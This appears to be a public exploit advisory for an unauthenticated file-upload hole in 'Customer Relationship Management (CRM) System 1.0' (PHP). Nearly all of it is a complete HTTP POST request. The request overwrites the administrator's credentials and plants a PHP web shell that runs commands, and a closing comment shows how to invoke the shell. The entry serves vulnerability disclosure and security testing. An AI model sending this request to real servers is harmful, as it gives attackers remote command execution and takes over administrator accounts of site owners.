Customer Relationship Management (CRM) System 1.0 Shell Upload

`# Exploit Title: Customer Relationship Management (CRM) Unrestricted File Upload (unauthenticated)  
# Date: 11/05/2021  
# Exploit Author: Richard Jones  
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14794&title=Customer+Relationship+Management+%28CRM%29+System+in+PHP+with+Source+Code  
# Version: 1.0  
# Tested on: # Tested on: windows 10 (build 19041) + xampp v3.2.4  
  
POST /crm/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0  
Accept: */*  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------73401159029622284642216073649  
Content-Length: 852  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/crm/customer/?page=user  
  
  
-----------------------------73401159029622284642216073649  
Content-Disposition: form-data; name="id"  
  
1  
-----------------------------73401159029622284642216073649  
Content-Disposition: form-data; name="firstname"  
  
Adminstrator  
-----------------------------73401159029622284642216073649  
Content-Disposition: form-data; name="lastname"  
  
Admin  
-----------------------------73401159029622284642216073649  
Content-Disposition: form-data; name="username"  
  
admin  
-----------------------------73401159029622284642216073649  
Content-Disposition: form-data; name="password"  
  
password  
-----------------------------73401159029622284642216073649  
Content-Disposition: form-data; name="img"; filename="friend.php"  
Content-Type: application/octet-stream  
  
<?php system($_GET['c']);?>  
-----------------------------73401159029622284642216073649--  
  
  
  
  
#Call shell at /crm/uploads/123123_friend.php?c=whoami  
`